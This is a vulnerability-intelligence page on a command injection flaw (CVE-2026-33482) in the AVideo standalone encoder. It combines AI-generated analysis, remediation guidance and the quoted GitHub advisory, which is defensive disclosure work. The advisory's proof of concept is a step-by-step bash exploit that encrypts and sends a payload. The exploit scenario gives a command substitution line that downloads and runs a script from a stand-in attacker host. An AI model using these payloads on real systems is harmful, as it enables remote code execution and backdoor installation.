Skip to main content

PHP CVE-2026-33482

HIGH
OS Command Injection (CWE-78)
2026-03-20 https://github.com/WWBN/AVideo GHSA-pmj8-r2j7-xg6c
8.1
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft encrypted payload with $() substitution
  2. Exploit
    Bypass sanitizeFFmpegCommand() filter
  3. Execution
    Inject command into ffmpeg arguments
  4. Impact
    Execute arbitrary shell command via sh -c context

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must craft a valid encrypted payload containing $() bash command substitution syntax. Exploitation requires the standalone encoder server to process the payload through sanitizeFFmpegCommand() in execAsync(). Remote unauthenticated access to the encoder API endpoint is needed; no user interaction required.

Impact

The CVSS score of 8.1 (High) with vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H indicates network-accessible exploitation with high attack complexity but no authentication requirement and complete system compromise. The High attack complexity (AC:H) stems from the encryption key requirement, which significantly reduces the practical exploitability compared to a typical command injection. While no EPSS score is provided in the intelligence data, the presence of a detailed proof-of-concept in the GitHub security advisory elevates the risk substantially, as it provides a complete exploitation blueprint including payload crafting and encryption steps. The vulnerability is not listed in CISA KEV, suggesting no evidence of widespread active exploitation yet. However, the technical impact is Critical once the encryption barrier is overcome, particularly for legacy installations without cryptographically strong saltV2 values. Organizations using AVideo standalone encoders should prioritize this if their salt configuration is weak or potentially exposed through other vulnerabilities, configuration leaks, or insider access. The SSVC framework would likely classify this as requiring attention due to the available exploit code and potential for automatable exploitation once credentials are obtained.

Exploit ScenarioDerived

An attacker first obtains the AVideo encryption key through a separate configuration disclosure vulnerability, leaked backup file, or by exploiting a legacy installation with a weak or default salt value. The attacker then crafts a malicious ffmpeg command containing $(curl http://attacker.example.com/shell.sh -o /tmp/backdoor.sh && bash /tmp/backdoor.sh) which passes through the incomplete sanitization filters since dollar signs and parentheses are not stripped. After encrypting the payload with the obtained key and proper timestamp, the attacker sends it to the standalone encoder's ffmpeg.json.php endpoint, causing the server to execute the injected command substitution before invoking ffmpeg, downloading and executing the attacker's backdoor script with web server privileges, providing persistent remote access to the encoding infrastructure and potentially lateral movement to the main AVideo server.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 20, 2026

Remote code execution in PHP ffmpeg integration allows unauthenticated attackers to execute arbitrary OS commands on standalone encoder servers by bypassing incomplete input sanitization that fails to filter bash command substitution syntax. The vulnerable sanitizeFFmpegCommand() function strips common shell metacharacters but permits $() notation, which can be injected through crafted encrypted payloads and executed in a double-quoted shell context. No patch is currently available.

Earlier versions of this analysis (1)
v1 Mar 20, 2026 - 21:01 CVSS 8.1

A command injection vulnerability in the WWBN AVideo standalone encoder component allows remote attackers to execute arbitrary OS commands by bypassing sanitization filters. The sanitizeFFmpegCommand() function fails to strip $() bash command substitution syntax, enabling attackers who possess the encryption key to inject malicious commands that are executed within a shell context. A proof-of-concept exploit is publicly available in the GitHub advisory, and while the attack complexity is high due to encryption requirements, successful exploitation results in full remote code execution on the encoder server.

RemediationAI

Apply the security patch provided by WWBN through the GitHub advisory at https://github.com/WWBN/AVideo/security/advisories/GHSA-pmj8-r2j7-xg6c. The recommended fix involves replacing the denylist-based sanitization with a comprehensive regex pattern that includes dollar signs, parentheses, braces, and newlines in the character class, specifically preg_replace('/[;|`<>$(){}\\]/', '', $command). As a more robust long-term solution, refactor the code to parse ffmpeg arguments individually and apply escapeshellarg() to each argument rather than sanitizing a complete command string. Until patching is possible, implement compensating controls including restricting network access to the standalone encoder API endpoints to trusted IP ranges only, rotating and strengthening the saltV2 configuration parameter to ensure cryptographically strong encryption keys, monitoring system logs for suspicious ffmpeg command patterns containing dollar signs or parentheses, and considering disabling the standalone encoder functionality entirely if not essential to operations.

Affected Packages

composer wwbn/avideo no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in composer

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability affects the WWBN AVideo platform (pkg:composer/wwbn_avideo), specifically the standalone encoder's API component. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The vulnerable sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php attempts to prevent command injection through a denylist approach, stripping shell metacharacters like semicolons, pipes, backticks, and angle brackets. However, it omits dollar signs, parentheses, and newlines from the regex pattern, allowing $() command substitution syntax to pass through unfiltered. The sanitized command is later executed via execAsync() which wraps it in a double-quoted sh -c context, where the unescaped $() construct is evaluated by the shell as a command substitution before the intended ffmpeg command runs. The vulnerability requires crafting a valid AES-256-CBC encrypted payload with correct IV and key derived from system configuration, adding an authentication barrier but not eliminating the risk, especially for legacy installations with weak salts.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionGitHub Advisory

Summary

The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, ` `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.

Details

Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):

php
function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];

    // Remove dangerous characters
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
    $command = preg_replace('/[;|`<>]/', '', $command);  // Missing: $ ( ) \n

    // Ensure it starts with an allowed prefix
    foreach ($allowedPrefixes as $prefix) {
        if (strpos(trim($command), $prefix) === 0) {
            return $command;
        }
    }
    return '';
}

The character class [;|<>] on line 70 does not include $, (, ), or \n. This means $(...)` command substitution passes through completely unmodified.

Execution sink (objects/functionsExec.php:656-658):

php
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";

The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.

Execution flow:

  1. Attacker sends codeToExecEncrypted parameter to plugin/API/standAlone/ffmpeg.json.php
  2. Standalone encoder calls main server's unauthenticated decryptString API to decrypt
  3. Decrypted ffmpegCommand passes through sanitizeFFmpegCommand() - $() is NOT stripped
  4. Command passes prefix check (starts with ffmpeg)
  5. execAsync() wraps it in sh -c "..." - $() is evaluated as command substitution

Auth barrier analysis:

  • Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds
  • Key is sha256(saltV2) on the main server; saltV2 is generated by random_bytes(16) - cryptographically strong
  • IV is substr(sha256(systemRootPath), 0, 16) - predictable but insufficient alone
  • On legacy installations without saltV2, falls back to $global['salt'] which may be weaker
  • The decryptString API endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting

PoC

Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):

bash
# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would be stripped
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'
# Step 2: Build the JSON payload
PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"
# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)
# KEY = sha256(saltV2)
# IV  = substr(sha256(systemRootPath), 0, 16)
ENCRYPTED=$(php -r "
\$salt = 'KNOWN_SALTV2';
\$iv_source = '/var/www/html/AVideo/';
\$key = hash('sha256', \$salt);
\$iv = substr(hash('sha256', \$iv_source), 0, 16);
echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv));
")
# Step 4: Send to standalone encoder
curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"
# Result: The standalone encoder executes:
# sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..."
# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script

Sanitization trace for the payload:

  • str_replace('&&', '', ...) → no && present, passes
  • preg_replace('/\s*&?>.*(?:2>&1)?/', '', ...) → no > outside $(), passes
  • preg_replace('/[;|<>]/', '', ...) → no ;|<> present, passes
  • Prefix check → starts with ffmpeg, passes
  • addcslashes($command, '"') → no " in payload, $() untouched

Impact

  • Remote Code Execution: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process
  • Lateral Movement: Standalone encoders typically have network access to the main AVideo server, enabling further attacks
  • Data Exfiltration: Access to all video files, configuration, and credentials stored on the encoder
  • Service Disruption: Attacker can terminate encoding processes or consume system resources

The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without saltV2 are at significantly higher risk.

Recommended Fix

Replace the denylist-based sanitization with proper argument escaping:

php
function sanitizeFFmpegCommand($command)
{
    $allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];

    // Verify it starts with an allowed prefix
    $trimmed = trim($command);
    $validPrefix = false;
    foreach ($allowedPrefixes as $prefix) {
        if (strpos($trimmed, $prefix) === 0) {
            $validPrefix = true;
            break;
        }
    }
    if (!$validPrefix) {
        _error_log("Sanitization failed: Command does not start with an allowed prefix");
        return '';
    }

    // Strip ALL shell metacharacters, including command substitution
    // This covers: ; | ` < > $ ( ) { } \n \r
    $command = preg_replace('/[;|`<>$(){}\\\\]/', '', $command);
    $command = str_replace('&&', '', $command);
    $command = preg_replace('/[\n\r]/', '', $command);
    $command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);

    _error_log("Command sanitized successfully");
    return $command;
}

Better long-term fix: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use escapeshellarg() on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.

Executive ViewAI

Why It Matters

A critical remote code execution vulnerability exists in WWBN AVideo encoder systems that could allow attackers to execute arbitrary commands and compromise encoder infrastructure. Organizations using this component face operational disruption and potential lateral movement into connected networks, though exploitation requires possession of the encryption key, limiting immediate attack surface.

Business Impact: High
Compensating Controls

Implement network segmentation and firewall rules to restrict encoder access to only internal, authenticated services; disable unnecessary encoder APIs and remote access features; enforce strict encryption key management with regular rotation and access logging; deploy WAF rules to block common command injection patterns in encoder requests; implement real-time monitoring and alerting on encoder process execution for suspicious bash syntax; consider air-gapping encoders or running them in isolated containers with restricted system calls; maintain detailed audit logs of all encoder configuration and command execution.

Threat Intelligence Overview

EPSS Score
0.1%
Top 65% exploitable
Data Quality
5 sources
Confidence: Medium
NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)GitHub Advisory

pkg:composer/wwbn_avideo

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy